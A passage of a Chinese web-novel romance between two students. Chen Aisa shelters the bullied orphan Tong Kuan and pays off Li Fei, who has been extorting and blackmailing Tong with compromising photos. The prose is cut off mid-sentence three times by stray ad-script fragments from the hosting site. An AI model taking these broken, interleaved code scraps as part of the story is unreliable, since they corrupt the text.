“呃,”童宽语塞了,不知道该怎么回答,“还没想好。但是只要有WiFi覆盖的地方,应该就没问题,草坪边的长椅也可以。” “草坪边的长椅上有插座吗?” 童宽笑了,挠了挠头。“那就图书馆东楼的内侧那,阶梯旁边有个插座,我用过。” 说他什么好,陈艾卅简直想把这小伙子的脑袋敲开看看里面到底装了些什么东西,“大晚上的,坐在阶梯上,屏幕亮着,还拖着一根电脑充电线,你是准备吓唬谁呢?” “哈哈哈,别,卅哥”童宽乐得停不下来,“谁路过吓唬谁。” “去我那儿吧,”陈艾卅说,“暂时。” “什么?”童宽一下子就收住了笑,望着陈艾卅愣住了。 “我们宿舍就我一个人,他们仨都答辩的时候再来,”陈艾卅接着说道,“桌子床的我问下那个要出国的,应该没什么问题,他都收走了。” “卅哥……” “长久肯定是呆不了,答辩在年底,估计到明年年初就要退宿了。” “会不会不方便?”童宽问。 “为什么?” 童宽犹豫了很久,说出来的话却好像和他犹豫的原因不一样,“会吵到你。” “我也不常在,白天基本不在。” “会让别人误会你。”他还是说了出来。 “误会我什么?”陈艾卅笑了笑,“喜欢男的?” 童宽点了点头。 “我都要毕业了,平时最多去找一下导师,身边的同学离校的离校,不离校的平时也接触不到,怕啥?” “还有学生会的。”童宽提醒他。 “已经在交接了,下一个活动办完,我就撤了。” 陈艾卅看着童宽的眼睛亮晶晶的,手里的拳头攥得很紧,好像很犹豫,也很挣扎,他看得出童宽是想来的,研一就这样的话,本科估计也没东躲西藏,从来没个安稳的地儿,找来找去就在超市的仓库里劈了个角落,为这事估计也没少求校管,但他就一直没答应下来。 “你要是实在为难,”陈艾卅说,“我回家住也可以。” “不是!不是这个意思卅哥,我就是——”童宽说得非常着急,“我怕给你带来麻烦。” “别想太多。” “谢谢卅哥,我……我不知道说什么好。” “别再受伤了,童宽。” 那天晚上,仓库里的床到底也没搬走,陈艾卅背着书包,左右手各拿了折叠椅和台灯,童宽双手拿着折叠桌,两个人晃着晃着就回了宿舍楼,东西都暂时放在了16号楼的1楼那,斜靠在公告栏下面,陈艾卅和童宽说明天再搬上楼吧,今晚他还是回宿舍对付一晚上,白天等人少了就理理东西,童宽一直没说话,陈艾卅说一句他就点点头。 16号楼廊前的吸顶灯不是很亮,但映在童宽的眼睛里,陈艾卅觉得像小星星。 把书包还给童宽的时候,陈艾卅说了句,还挺沉啊。 童宽接过了后,对着陈艾卅鞠了一躬。 陈艾卅反应过来的时候,童宽已经走了。 当天晚上洗漱完后,陈艾卅爬上了床,他收到了一条来自童宽的微信。 “卅哥,遇见你真好,谢谢你救我,又一次。” 8. 三万 童宽的东西实在算不上多,第二天中午的时候,他就背着包、带着一个大编织袋到了16号楼底下,陈艾卅收到消息的时候刚好面试结束回程,就让童宽在楼底下等他一下,如果觉得热的话就先找个教室呆一呆,大概半小时就能到了,童宽回复说没事儿,他还有点零碎的东西要去拿一拿,差不多那完了也要这个时间,让陈艾卅别着急。 陈艾卅这会儿在地铁里,心里有些说不清的感受,昨天晚上提出让童宽上自己宿舍这来住,他很清楚自己不是一时兴起,而是那天确认童宽在宿舍就被那个体育生欺负的时候就起的念头,挺心疼他的,这男孩子的遭遇实在可怜,可他这份可怜,好像并没有给他这儿的生活带来什么保护色,反而筑起了一堵高墙,好像没有人愿意接近他。 下了地铁的时候,陈艾卅收到了学姐兼前女友斯昀的微信,他们俩没什么大冲突,分手也分得体面,后来偶尔也会说两句,但这次斯昀的信息让陈艾卅有点坐不住了,他仿佛感受到了一些这个世界对待童宽的恶意。 “Issac,听说你最近和一个男生走得很近,换口味了吗?” 陈艾卅皱了皱眉,这随意的口吻的确是斯昀的风格,但打听的这个事倒让他有些不舒服,没有指向性的话,怎么会问自己换没换口味,心底里还冒了个疑问,童宽到底发生过什么事,好像大家对他喜欢男的这个事都一清二楚似的。 “?”陈艾卅想了想,发了个问号回去。 “教育超市收银的那个小男生。” “你都毕业了怎么还关心学校的事?” 这次斯昀回过来比较慢,陈艾卅一直盯着对话框呢,正在输入了很久。“不是关心学校,是关心你。” 陈艾卅皱了皱眉,还是礼貌地回过去了,“多谢。”斯昀就这点不好,话里话外的暧昧多,学了法语专业,把法国人的浪漫也都学进去了。 “那个男生挺复杂的,小心些。” 陈艾卅抬了抬眉毛,斯昀的复杂应该不是童宽的那些身世,而是真正的情感经历了,他又忍不住笑了一下,想什么呢,自己只不过觉得和这男生投缘,又见不得他被欺负,能帮个忙的地方搭把手罢了。“朋友而已,学姐费心了。” 童宽,很复杂吗?复杂的人会挨打,遭受排挤,任人非议?复杂的人会连宿舍都不怎么回去,自己一个人躲在没有空调的仓库里,复杂的人会连图书馆栋楼阶梯旁边有个插座都清清楚楚?童宽研一了,不是大一,他刚来上大学的时候,是不是也憧憬过集体生活,能交上两三个好友,可他研一了,还是一个人,现在有个八竿子打不着的、甚至没和童宽接触过的人,莫名其妙地让自己对他小心一点。想到这里陈艾卅心里特别堵,平日里都是从地铁站走回宿舍的,今天却不想让童宽等太久,他扫了一辆共享单车,用力蹬着想早点到宿舍楼下。 16号楼1楼,放着一个挺大的编织袋,还是塑料制民工用的那种,两个拎带已经被勒得很细很细了,这个编织袋看来已经用了很久了,陈艾卅心里想,不是挣了挺多外快的么,连助学贷款都还完了,怎么还用这种编织袋,左右看了看没看到童宽的身影,陈艾卅给他发了消息,可童宽好几分钟了都没回。 不对劲。越想越不对劲。 陈艾卅转身几乎用跑地窜到了17号宿舍楼,奋力往6楼跑去。 “你到底要干什么!!!” 他听到了童宽几乎是吼的声音,6楼的走廊里已经有不少脑袋探出来了。 “我要干什么?你是不是勾搭上别的男人了,翅膀硬了,嗯?钱都给人家花了吧!” 陈艾卅的又快了几步,往最里面的宿舍走过去,已经听到了里面起争执的声音。 “你忘了当初招惹我的骚样了?这会儿正经上了,你当时是怎么——” 啪! 童宽直接甩了那个男的一个巴掌。 “你给我闭嘴!”童宽的胸口不断地起伏着,“你不就是要钱吗?不就是看中我会编程吗?” 没想到那男的冷笑一声,直接揪着童宽的衣襟就把他拎起来了,摁到了墙上,面色凶狠,“你要是连编程都不会,我凭什么和你在一起,还要受人指指点点,你以为你是谁啊!个没爹生没娘养的!” 童宽的手脚不论怎么挣扎着,都脱不开身,嘴里刚要说点什么话就又被那男的的拳头抵上了嗓子,连声音都发不出来。 “放手!!李非,练长跑的,大四!”陈艾卅一边喊着一边往他们俩身边走过去,一下把上了那个人的肩,语气又急又冷,“你还想不想毕业了!?” 趁这个叫李非的人头转过来,陈艾卅又使劲把人往后一拽,李非直接整个人摔在了爬上床的铁梯上,听动静应该是摔得不轻。 李非的脸色突然很难看,又露出了一些讥笑,“哟,兄弟,童宽也勾引你了吗?他屁股翘吧?” 陈艾卅一掌握上了那个铁梯子,梯子和床架子发出了极响的碰撞声,“我警告你,不要再来找童宽,再被我遇见一次,我让你毕不了业。” “操!你他妈是算什么东西在这给他撑场子,他是我的人,签了字的!”李非对着陈艾卅吼。 “签什么狗屁字,还在这玩儿卖身契呢,小孩儿?” 李非四目狰狞,“你他妈是谁!他欠我钱你管不管?” “多少?” “三万。” 童宽这会儿好像喘过气来了,冲这儿喊道,“没有,绝对没有!我们的合作协议上有写过,哥!哥你别信他!” 陈艾卅放开了李非,随便从一个人的桌子上找了个本子,翻开找了空白的一页撕下,在上面草拟了一下双方协议,陈艾卅的方向是商务英语,这点对他来说并不难,他下巴朝着李非抬了抬,“校园卡身份证拿出来,我拍个照,身份证号学号写上,然后签个字,三万我给你,然后滚蛋。” “哥……”童宽的声音里都透出了些哀求。 “你别管,多少次了,你也管不明白。”陈艾卅气不打一处来。 李非一应弄完了,对着陈艾卅亮了支付宝的收款码,扫了码后,转出去了三万。 “我再提醒你一次,以后但凡被我碰见,或者童宽跟我说你又找他,你非但毕不了业,我还能让你坐牢。” 拿到钱后李非冷笑了一声,对着童宽摆了个表情,说出来的简直不是人话,“你真行,可算让你傍上了个大款。” “滚!”陈艾卅对着他大声说了句,李非悻悻然就走了。 那天陈艾卅和童宽一前一后离开17号楼,一路都有人看他们,陈艾卅在前面气势汹汹,童宽就跟做错了事的小孩一样跟在后面,离得不近也不远,人和东西都到了陈艾卅的宿舍后,童宽立刻马上就和陈艾卅说了句话。 “卅哥,我把钱转给你,我有钱的。” 陈艾卅叹了口气,“我知道你有,但不着急还,你每个月想起来了还我点吧。” 童宽又问,“卅哥,这么做的话李非真的以后不会再来找我了吗?” 陈艾卅点了点头,“条款上写得很清楚,他如果再找事儿,就别想好过了,至少让他毕不了业。” 童宽看向陈艾卅的眼神里多了些崇拜,说:“卅哥,你好厉害。” 看到他这样,陈艾卅又问他既然有钱的话,怎么不直接给他三万息事宁人让他滚蛋,闹得沸沸扬 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 扬会更拖累自己。 可童宽说,这不是李非第一次来问他要钱了,陈艾卅沉默了。童宽说他想过,也给过,给过一万又给过两万,他不知道李非的开销在哪里,他也不想问,他根本不关心,但因为李非也一直有项目给他,两个人即使再不对付,童宽也没直接翻过脸,他自己也需要钱。可后来李非愈演愈烈,即使项目不断,在他这挣得钱都快贴进去了不说,还得自掏腰包,如果李非要不到,就想着法子来羞辱他。 “他不是你以前男朋友吗?” 童宽苦笑了一下,“我以为你知道。” “知道什么?” “知道我为什么说他是我以前男朋友。” 陈艾卅有些没听懂,“我应该知道吗?” “他们都知道。”童宽就坐在那个要出国的室友的位子上,两只手撑在椅面的边上,头低了下去。 陈艾卅突然有点紧张,他有些担心童宽接下来的话他会承受不住。 “一年前,他在学校论坛上,发了一张和我亲嘴的照片,但他把他的脸遮掉了。”童宽说的时候,声音没有一丝不一样,连表情都没怎么变过。 “然后你们就开始谈恋爱了?” “他像是能谈恋爱的样子吗?”童宽无奈地又笑了一下,“他只不过,想绑着我帮他做项目罢了,威胁我还能多要点钱。” 陈艾卅皱了皱眉,没说话,他知道童宽还没说完。 “我和他也是在学校论坛认识的,他有一些体育方面老板的资源,需要找开发,能挣外快,我就联系他了。一开始几个项目还挺正常的,他三我七,大家账目都很清楚,合作也挺愉快的。后来……有一天说是去听需求,不知道怎么和老板喝上了酒,我有点喝多了不清醒,醒……”童宽喘了一口气,“醒过来的时候就在宾馆里了,照片也是那天拍的。” “你……”陈艾卅声音里多了些心疼,“要是不想说,就不说了。” “我不知道发生了什么,但、”童宽的手指捏紧了椅面,“但他说是我主动的。” “然后他就开始跟你提分钱的比例要求?” 童宽点了点头。 畜生!陈艾卅在心里骂了一句。“你不答应,所以他开始闹,甚至发了照片去学校论坛?”陈艾卅简直觉得不可思议。 童宽深吸了口气,又点了点头。 学校论坛陈艾卅基本不上,他觉得那就是个嚼舌根的地方,有话就要当面说,交朋友就要当面交,这是陈艾卅信奉的原则。 “那你为什么承认,为什么不辩解?” 他没想到,童宽这会儿却笑了,只不过这个笑比哭还难看,童宽抬头看着陈艾卅的样子,好像在看一个从来生活在阳光下的人一样,可说出来的话却毫无生气,“没有用的,大家爱看热闹,我从小就知道。” “我也不用向谁交代什么。” “没有人会在意孤儿是不是喜欢男的。” “没有孤儿不会犯的错。” “孤儿一直有错。” “我自己知道真相就好了。别人爱怎么以为怎么以为吧。” 陈艾卅突然觉得有点看不懂眼前的这个人,童宽笑起来那么阳光,可仅是刚刚在他心里探了个头,就觉得冰冰凉凉。陈艾卅不知道该怎么安慰他,或者要不要安慰他,他突然只想问童宽一句话。 “刚刚为什么不喊卅哥?” 童宽的表情已经告诉他了答案。 陈艾卅皱着眉说:“别怕给我找麻烦,你一点都不麻烦。” 当天晚上睡着前,陈艾卅微信上收到了童宽的一万转款。 备注是:二又三分之一次感谢。 9. 茉莉 火车不紧不慢的规律性的铁轨声很催眠,陈艾卅周围的人都逐渐睡着了,他邻座的人直接整个身体蜷在里椅子里,对面的女孩儿已经弯腰卧躺在了男孩的腿上,男孩搂着女孩的背,他们还插着同一个耳机,前后都传来了各式各样的呼噜声,有的响得离谱,有的跟要断气了似的,陈艾卅都觉得吵闹,他睡不着,更主要的原因还是心里的喧嚣。 两个人刚同居的那会儿,陈艾卅迷上了盆栽,总喜欢摆弄一些回来养,先是弄了一拨花,童宽说盆栽花可比鲜花难养多了,陈艾卅不信邪,可两周后自己买的月季整个都枯掉了,童宽就笑他不听大人言,陈艾卅就连人带腿地把他抱起来带进了卧室,在他耳边拈着他的腰问究竟谁是大人,童宽受不住痒,一边笑一边向陈艾卅求饶,“卅哥,卅哥别,痒得受不了了”。陈艾卅好像还记得那天窗外吹进来的一阵风,带起了窗帘,他和童宽偏偏就要挤在一张床的半边,童宽在他耳边轻轻说:“卅哥,我想亲你”,于是他们就拥在一起接吻。 每次和童宽接吻,陈艾卅都觉得他是个少年,热情中带着些羞涩,总是要陈艾卅先捉住他,他才会回应得更深一些。 已经有多久没和童宽接吻了,陈艾卅没有算过。 自己在童宽创业的这三年里,给了童宽多少支持,陈艾卅也没算过。 他记得童宽问过他,“卅哥,你要不要一起来。” 陈艾卅拒绝了,他清楚地记得和童宽说,他还是想进大公司,架构完善些。童宽听了后,非但没有不高兴,甚至还在感慨,“卅哥你真的好厉害,想要什么特别明确,我特欣赏你这点。”陈艾卅记得当时自己刮了一下他的鼻子,现在回想来,清楚地知道自己要什么的,是童宽才对,他从来没改变过自己的想法,创业再难、再累,他都咬着牙一步步地在走。 我呢,我是不是才是他的拖累? 是我拖累你了吗,童宽。 陈艾卅打开了手机,上面的会话框大多都来自于工作,自己是在流程里的一环,微信群就特别多,后面他不得不置顶才能看到童宽和他的对话,手机已经换过了,他和童宽的聊天记录都没了,但他还记得最后那几个月的对话框里的关键词就那几个,“要加班”“晚点回来”“卅哥晚安”“你先睡”“马上就回来了”,心疼是真的,有怨气也是真的。可只要一想到童宽在最难的时候买的那份保险,就什么气都泄了,这小子,处了七年了,陈艾卅还是觉得看不透他。 他打开了童宽的微信头像,把朋友圈权限都打开了,点击进去之后,本以为一溜都会是他以前创业时候自己APP的宣传内容,没想到相关的一条都没,最新一条是快一年前了,是一个柠檬草盆栽,看背景应该是在他办公室里,叶子上是湿湿润润的,盆里的土壤也很湿润,小树枝上还挂着水珠,明显是刚刚浇过水的样。配的文字是“live instead dead”,以生换亡。 家里的那棵柠檬草是有些不太好了,陈艾卅总提要不要换一盆,但终究忘记去买新的。 陈艾卅眼眶一下就热了,差点没掉下泪来,童宽没有忘。 是他没有看到他的朋友圈,是他把童宽的好忘了。 和童宽住在一起后,陈艾卅发现他作息十分规律,即使没有课,也会早早地起来,大多数是坐在桌前摆弄他的电脑,陈艾卅只记得童宽的电脑上有很多窗口,大多数都是他也看不懂的一行一行的英文字,有的时候陈艾卅会怀疑开了这么多窗口怎么电脑还不死机,但他确实没看到过童宽的电脑卡过。 童宽的生活习惯很好,每次洗澡后都会把浴室打扫干净,有的时候连水池和马桶都要擦一遍,陈艾卅跟他说过不用这么太讲究,让他在这安心住,别想太多,童宽就告诉陈艾卅这是自己一直以来的习惯,没有事的,之前在寝室里他也会这么做,听到这里陈艾卅皱了皱眉,之后上洗手间无论是洗手还是解手,就都会好好仔细看看水池和马桶上有没有什么残留,就是浴室的地漏,他的呕吐神经实在是不允许他接近,本来是想奔着商量的口气问童宽分工的,可童宽却和陈艾卅说,这里一应都不需要他考虑,自己会全部做掉的,陈艾卅依旧不肯,童宽就跟他开玩笑说,“卅哥,那你每周给带我三顿饭吧,行不行?”,童宽问自己的时候还带着一点不经意的俏皮,陈艾卅觉得跟摸了毛绒绒的玩偶似的,也不知道怎么就鬼使神差地答应了。 一开始,因为不确定童宽是否去勤工俭学了或者在忙,陈艾卅每周严格恪守每周带三顿饭的约定,从校外回来的话就给童宽带外边的餐食,在校内的话就几个食堂翻着花样地带,后来也顾不上什么三不三顿的了,只要当天晚上回学校,就必定会给童宽带吃的,童宽和陈艾卅开玩笑说自己是他喂养的小猪崽儿,陈艾卅就笑着说如果童宽真能吃胖一点就好了,童宽边吃边点头,从来都没有剩下过。 “都没问过你喜欢吃什么,一直都是随便买的。” “随便买的都那么好吃啊,卅哥,”童宽眯起眼睛笑的样子很乖巧,“不随便买得好吃成啥样啊。” “那等着咱俩一起出去吃?” “哪有债主还要请欠钱的吃饭的,我请你吃吧,卅哥。” 对于陈艾卅施以援手的三万块钱,童宽始终耿耿于怀,陈艾卅摸不透,究竟是不是自己提过的每个月还他点儿还是什么,童宽在第二个月才又还了他一万,还是赶在月头,留言内容是二又三分之二次感谢。 他们俩平时在宿舍碰到的机会也不太多,主要是陈艾卅不太在宿舍里呆着,白天除了去面试、参加招聘会外,就背着个电脑在图书馆里查文献鼓捣毕业论文,有的时候还会帮导师做一些课题,再有就是外联部的一些收尾事务。 经过外联部的投票,已经拟定将下一任部长的职位交到了一名叫梁臣的小伙手上,小伙今年大四,也准备考本校的研究生,人活泼外向,也乐于和人交谈,陈艾卅觉得把外联部交给他还挺放心的,也正式向部里宣告了,在这次栽树活动之后,陈艾卅将彻底告别外联部,当场就听到了几个小学妹的哀叹,哭喊着自己就是奔着超帅的部长来的,怎么就这么突然要告别了。 这天部里开完会,陈艾卅正好和梁臣交代一些外联部的运营细节,梁臣说要去买点东西,两人话没说完,陈艾卅就和梁臣一块儿往教育超市的方向走,本来聊得还挺忘我的,身边走过路过的谁都没在意,一阵秋风吹过,陈艾卅突然就停了话头,连脚步都一起停了,梁臣不解,也跟着停了下来,顺着陈艾卅的目光往教育超市看过去。 教育超市红色的 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 门头还是很扎眼,门口的那一棵大梧桐树上的叶片已经泛了些黄,还有一些带着刺儿的栗色的果子,坠在叶茎上,树干上不规则的斑驳深深浅浅,深的地方是青灰、浅的地方是乳白,接近树根的地方树干开始变粗,像是烙在土里的爪子一样,在一个四四方方的土里扎着,又一阵风吹过,树在动,玻璃上的树影也跟着在动,童宽穿着青灰色的T恤和乳白色的五分裤,就在玻璃的另外一侧收拾高脚桌上的残留,头发有些细碎,树影遮住了他的眼睛,陈艾卅从来没觉得一个人可以长得那么“安静”过,安静到像没有弓拉的却有着松木香味的小提琴弦一样,好像这个人就站在时光里,任由时间流过,但他毫无察觉。 “学长,学长?” 梁臣的话好像从很远的地方过来,陈艾卅才回过神。“啊?” “刚刚说的这个活动,还有些细节要和对方确认,我直接联系他们吗?” “噢,可以的,”陈艾卅吸了口气,好像这会儿才接上刚刚发愣的那一次呼吸,“回头我拉个群,有什么需要我来沟通的地方你艾特我就好。” “好的,谢谢学长,”梁臣指了指教育超市,“我去买点东西,要给你带瓶水吗?” 陈艾卅摇了摇头,“不用,谢谢。” “那麻烦稍等我一下,我很快出来。” “好。” 梁臣进去买东西,陈艾卅就站在梧桐树边上,刚刚自己的发愣一点缘由都摸不清楚,都不知道是看见童宽后发的呆还是被这棵梧桐树成精了引着自己去看他,不过这会儿陈艾卅特意背对着教育超市,他不确定回过身如果和童宽打上照面的话会不会失态,或者他有些害怕看见童宽后又进入那种“空茫”的状态。 “学长,里面小哥说薄荷糖七折,我买了两条,这条你收下吧,”梁臣出来后给自己递了一条薄荷糖,“你平时用嗓子也多。” 陈艾卅到底也是没忍住心里的窥探,假装不经意地撇过头去往超市里看,童宽正对着自己抿着嘴笑,他立刻又转了回来,目光的失焦是假的,他不清楚自己在逃避什么。 拿过了薄荷糖后,陈艾卅拆了往嘴里扔了一颗,他又拿出了那个薄荷糖仔细看了看,上次打折的是没有花香的,这次的却有馥郁的茉莉香气,他问梁臣要过了另外一条薄荷糖,另外一条就是普通的。 “怎么给我的这条?”陈艾卅问梁臣,他也不知道在确定什么。 梁臣有点懵,但还是回答了,“里面小哥说这个味道对咽炎友好,没那么刺激,学长你不是有慢性咽炎么?” “哦……是,”陈艾卅回答得有些心惊,但还是道了谢,“谢谢。” 自己有慢性咽炎这个事,从来没和童宽提过,他是怎么知道的呢?这个问题还没回答,下一个问题又冒了上来,薄荷糖真的两件七折吗? 和梁臣已经走远了,陈艾卅又回过头看了教育超市一眼。 童宽看见自己了,却没出来打招呼。 这小子,是不是看见自己没进去,就以为自己不想和他说话? 我只是,有点弄不清。 是该远离你,还是亲近你罢了。 陈艾卅有些害怕,他本能地忽略掉了一个事实。 童宽知道,陈艾卅也看见他了。 10. 苦难 那天晚上陈艾卅故意弄到很晚,几乎是踩着闭寝的时间回到寝室的,本来童宽基本都是在桌子上码代码,门一开就能看见他点了个小台灯,然后哒哒哒地敲着键盘,但这天晚上只有台灯亮着,铁梯下放着童宽的拖鞋,童宽带过来的蚊帐也拉了下来,从陈艾卅进门的角度里几乎看不到床架里平躺着的童宽。 他真瘦啊,这是陈艾卅下意识冒出的想法。 陈艾卅轻轻叫了一声,“童宽?” 他没有应答,应该是睡着了吧。 陈艾卅轻手轻脚地洗漱过后,也爬上了床,不知道是不是最后一下铁梯子硌到了床架,“咣”的一声特别响,陈艾卅一下就坐直了,往斜对面童宽那儿看,但童宽还是没有动,虽然心里犯嘀咕,但也没多追究,陈艾卅躺下了,不一会儿就睡着了。 后来的几天,陈艾卅总觉得童宽在躲他,也没有像以前一样“卅哥”、“卅哥”地喊他。 直到有那么几次给他带饭,他都没回来,回来后又说自己已经吃过了后,陈艾卅有些沉不住气了,特意排空了一天,就在宿舍里呆着,看看这小子到底在搞什么。 “卅、卅哥,你今天不出去吗?” “你很希望我出去?”他承认,自己的口气这时候一定不怎么好。 “没有没有。”童宽赔笑道,“你平时挺忙的。” “你也不闲啊,住一个屋子好几天没打着照面了。” 接着童宽就不说话了,他洗漱了之后就下了楼,陈艾卅见他没背电脑,估计也就短暂出去一下,也就没吭气。 果然,没一会儿后童宽回来了,带回来了早饭,食堂里最难买的蛋饼他买了一份,还买了个粢饭团和两杯豆浆,他先是把蛋饼放到了陈艾卅的桌上,又放了一杯豆浆,然后就回到自己座位上去了。 平日里,但凡童宽坐在桌前,笔记本一定是打开着的,但这天没有,笔记本就安安静静地躺在桌子上,连接线板的按钮都没点亮,童宽就这么一口一口地吃着粢饭团,喝两口豆浆。 这明显就是心里有事儿。 “你想什么呢?”陈艾卅问他。 “嗯?”童宽回过头看陈艾卅的眼神明显就是装傻。 “这几天干嘛去了?” “没有,那个,”童宽咽了口唾沫,声音很轻,“有点忙。” “忙到饭也不吃了?” 他说得更小声了,“吃了的。” “你也不早说,害我买的饭都倒了。”陈艾卅故意这么说。 “卅、卅哥……” “到底怎么了?” 童宽不说话了。 “人长嘴就是为了说话的,赶紧说。” “我不想让人误会你。”童宽说的这句话,陈艾卅有点听不懂,“尤其在你认识的人面前。” “什么意思?” “那天在超市门口,你没进来。” 陈艾卅是个聪明人,一点就透了,童宽已经说得非常隐晦了,但他一下就明白了,那天在超市门口,自己和梁臣正说着话,梁臣进来买了东西,可自己明明看见童宽了却没进去,以前去超市的时候都只有自己,可身边有了认识了人之后,就算看见了童宽,也没走进去打招呼,而是就这么站在外面等别人出来。 他以为自己在避嫌。 这下轮到陈艾卅沉默了,究竟因为什么而沉默,他还没探究明白。 可童宽的下一句话,又把他刚刚要探究的心,烫了回去。 “卅哥,我……”童宽仿佛下了很大的决心,才继续往下说,“虽然李非是我以前男朋友这事是假的,但我喜欢男生这件事是真的。” “我对女孩儿,没办法有那种,正常的感觉。” “我也是上了大学后才发现的。” “我也不知道为什么。” “挺苦恼的,但我不知道怎么改变。” “好像也变不了。” 他一个人自言自语着,陈艾卅嘴里的蛋饼都快嚼没味儿了。 “论坛里的那些话,半真半假。” “事是假的,说我的都是真的。” “我是喜欢男生的,卅哥。” 陈艾卅没抬头,却能感受到童宽看过来的目光,他仿佛在告诉自己,他完全能理解为什么那天自己没有踏进教育超市和自己打招呼,他躲着自己的原因是不想让更多自己认识的人误会自己,连已经离校的斯昀都知道自己和童宽走得近了,更何况其他了,同门的兄弟姐妹们、学生会的上上下下、甚至可能自己的导师都已经知道了。 可那又怎么样呢? “哦,”陈艾卅应了一声,“所以呢?” “不想让他们误会你。”童宽笑了一下,但没露出那颗虎牙。 “所以躲着我?” “很闹心的,卅哥。”他又补了一句,“不想让你闹心。” 看着童宽纠结的脸,陈艾卅此刻却松了一口气,他深深叹了一口气,拿着手上的蛋饼站了起来,走到童宽的座位旁边,靠坐在了书桌上,童宽就这么仰着头看他,这么近的距离,陈艾卅才发现,童宽鼻梁的右边有一颗小小的、淡淡的栗色的痣,在他的那双小土狗一般的眼睛中间,几乎让陈艾卅失神。 陈艾卅伸出了手,揉了揉童宽的头发。 “你喜欢你的,我不闹心。”末了又补了那句话,“别想太多。” 童宽微微张了张嘴,到底也没接上话。 特快的站点很短,陈艾卅觉得自己每每要睡着的时候,列车就会停靠到一个站,他其实是需要睡觉的,也是想睡觉的,从公司出来到现在,这几个小时除了心一直悬着之外,也是一直奔波着,没有一刻停歇,陈艾卅没带随身镜,但总觉得自己的眼睛已经红到不行了,他又看了一眼表,离下车还有端事件,索性想闭了眼睛休息,可没过多一会儿,挺听见了一声稚嫩的声音。 “阿爸,阿爸,这个是大火车吗?” “是,你小手别乱抓,当心划到。” “阿爸,你放我下来吧,我自己可以走。” “好,我们找个空一点的地方站着就下来。” 这对父女也带了一挺大的编织袋,来回走了一下,陈艾卅这边的行李架上稍微空一些,男人就抵着头问他们的东西能不能挪过去一点,邻座睡觉的那位醒了,看了看男人手上拎着的编织袋后,皱了皱眉,对男人说就算他们挪过去点他这个编织袋也没 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 办法放上去的,至少得拿下个箱子来才行,左右又有上洗手间的人从男人身边走过去了,对着这对父女的编织袋并不客气,有的直接拿脚往旁边踢踢,小女孩看得直着急。 “阿爸,他们踢我们的袋子。” “没事,是我们挡着叔叔阿姨的路了。” “可是阿妈还在里面。” 陈艾卅脑子嗡的一声,她阿妈还在里面是什么意思? “阿妈在爸爸背着的包里,阿妈怕脏,才不能放在地上。” 陈艾卅这才注意到,男人手上抱着小女孩之外,身上还斜跨了个包,这个包就是很老式的那种斜挎包,后头的盖头往前一放,就算是盖住了,这包里明显有一个四四方方的东西,陈艾卅有些不敢想。他这会儿才反应过来刚刚邻座说的拿一个箱子下来他们的编织袋才能放上去的话。他站起来得突然,身上磕到了硬座前的小桌子上,直接把对面的小情侣给吵醒了,邻座小哥也转过头来看着他,前后桌还有些人看向他。 “麻烦让一让。”陈艾卅对着邻座的小哥说道。 小哥侧了身子,把腿也并拢了,陈艾卅侧着身就出去了,然后转过身子从行李架上拿下了他的行李箱,长呼了一口气,对着抱着女儿的男人说道,“你们坐吧,就是可能坐不了多久,我还有两三站就到了。” 女孩儿的父亲有些不好意思,“没得事没得事,我们放个编织袋就好了,哥你坐。” “抱着女儿不好放行李吧,我帮你们放上去?” 爸爸还没开口,女儿先开了口,“谢谢哥哥!” “哎,叫叔叔。” “不,就要哥哥,这个哥哥长得俊。” 陈艾卅扯了个笑,帮着把他们的编织袋放到了行李架上,回过头却看到了男人眼角有些湿润,但他不想问,也不敢问。 在不认识童宽之前,陈艾卅觉得自己是一个非常有钝感力的人,除了自己有兴趣的事情和话题,他基本不太上心,和所有的室友、同学,以及后来的同事都保持着比较友好但不深入的交流,大家或许就知道他帅、也谦和,更多的,就不太清楚了。 别人不清楚,可陈艾卅心里明白。 他在童宽身上见过了太多的苦难,他从来没觉得哪一件事是童宽应该承受的。 有时候童宽在笑,可陈艾卅却在向天声讨。 凭什么、为什么要把苦难留给童宽这样一个人。 可是不是时间久了,陈艾卅也成了那个给童宽苦难的人。 那天离开了家之后,童宽一个人在沙发上坐了多久,洗衣机里的衣服他晾了没,走的时候都快接近五点了吧,童宽后来睡了没,他到底有没有把办公室的那棵柠檬草带回家,如此种种,以前一个电话、一个微信都能问到的人,现在却成了谜题。 他只能尽量通过多做好事来安抚自己内心的不安。 小女孩的阿妈究竟留留给了小女孩多少谜题,陈艾卅不想去问。 但陈艾卅明白,她阿妈一定是不舍得留下这些的。 童宽呢,舍得吗? 你离开家来这里的时候,是什么心情。 有没有对卅哥失望。 我对自己好失望。 11. 绯色 回过神要带着行李箱去车厢连接处的时候,陈艾卅的袖口被拽住了,小女孩盯着自己没什么表情,看到陈艾卅看着他了,拽着袖口的手没松,另一只小手在自己身上的外套里掏着东西,好像顺手的这个口袋没有,她就用力往另一只口袋拿着,陈艾卅轻轻笑了笑,想要拨开小女孩的手,没想到小女孩还是不肯放,终于努力从口袋里拿出了她想要的东西。 是一颗用镭射纸包裹着的糖,小小的一粒,像个蝴蝶结一样打着,她拽过陈艾卅的手到自己面前,然后把糖果放到了自己手上,轻声说了一句“谢谢哥哥”。陈艾卅看了看女孩,又看了看她爸。 “哥你别嫌弃,老家杂货店里买的水果糖,不是脏东西。” “不是这个意思,”陈艾卅说道,“口袋里没几颗了吧。” “一路吃过来,本来买得就不多,”男人又补充了句,“但还是请你拿着吧,我家姑娘的一片心意。” 陈艾卅点了点头,拿过了那颗糖,对着小女孩说了声谢谢就离开了座位,带着行李箱去了连接处。 拆了糖衣放进嘴里的时候,陈艾卅眯了眯眼睛,这种混着工业糖精的味道,这几年的确吃到得少了,有些过于齁甜了,可他心里却不反感。 